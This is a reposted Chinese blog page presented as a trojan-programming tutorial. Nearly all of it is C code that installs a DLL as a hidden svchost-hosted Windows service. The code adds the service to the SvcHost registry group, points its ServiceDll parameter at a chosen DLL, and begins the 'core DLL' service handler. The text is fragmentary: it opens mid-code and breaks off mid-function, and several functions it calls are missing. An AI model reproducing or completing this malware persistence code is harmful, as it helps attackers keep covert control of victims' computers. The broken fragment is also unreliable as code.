c语言 木马编程教学,木马编程 之超强服务… 附代码 原创.

2022-07-02 10:40:15 浏览数 (1)

大家好,又见面了,我是你们的朋友全栈君。

该楼层疑似违规已被系统折叠 隐藏此楼查看此楼

}

BOOL AddSvchostGroup(VOID)

{

HKEY hkey;//其实是一个句柄.

if(

RegOpenKey(HKEY_LOCAL_MACHINE,

“SOFTWARE\Microsoft\Windows NT\CurrentVersion\SvcHost”,

&hkey)!=ERROR_SUCCESS

)

return FALSE;

if(

RegSetValueEx(hkey,m_ServiceInfo.ServiceName,0,REG_MULTI_SZ,

(BYTE *)m_ServiceInfo.ServiceName,lstrlen(m_ServiceInfo.ServiceName)) !=ERROR_SUCCESS

)

return FALSE;

RegCloseKey(hkey);

return TRUE;

}

//添加DLL 路径参数

BOOL AddParameters_ServiceDll(LPSTR DllPath)

{

HKEY hkey;//其实是一个句柄.

CHAR SubKey[255]={NULL};

sprintf(SubKey,”SYSTEM\ControlSet001\Services\%s\Parameters”,m_ServiceInfo.ServiceName);

if(RegCreateKey(HKEY_LOCAL_MACHINE,SubKey,&hkey)!=ERROR_SUCCESS)

return FALSE;

if(RegSetValueEx(hkey,”ServiceDll”,0,REG_EXPAND_SZ,(BYTE *)DllPath,lstrlen(DllPath)) !=ERROR_SUCCESS)

return FALSE;

RegCloseKey(hkey);

return TRUE;

}

int main(int argc, char* argv[])

{

CHAR BinPath[MAX_PATH]=”%SystemRoot%\System32\svchost.exe -k “;

strcat(BinPath,m_ServiceInfo.ServiceName);

puts(BinPath);

MyCreateServiceFuntion(BinPath);

AddSvchostGroup();

CHAR DllPath[]=”c:\test.dll”;

AddParameters_ServiceDll(DllPath);

return 0;

}

//核心 DLL

#include “stdafx.h”

#include

char svcname[MAX_PATH];

SERVICE_STATUS_HANDLE hServiceStatus;

int TellSCM( DWORD dwState, DWORD dwExitCode, DWORD dwProgress )

{

SERVICE_STATUS srvStatus;

srvStatus.dwServiceType = SERVICE_WIN32_SHARE_PROCESS;

srvStatus.dwCurrentState = dwState;

srvStatus.dwControlsAccepted = SERVICE_ACCEPT_SHUTDOWN;

srvStatus.dwWin32ExitCode = dwExitCode;

发布者:全栈程序员栈长,转载请注明出处:https://javaforall.cn/147551.html原文链接:https://javaforall.cn

0 人点赞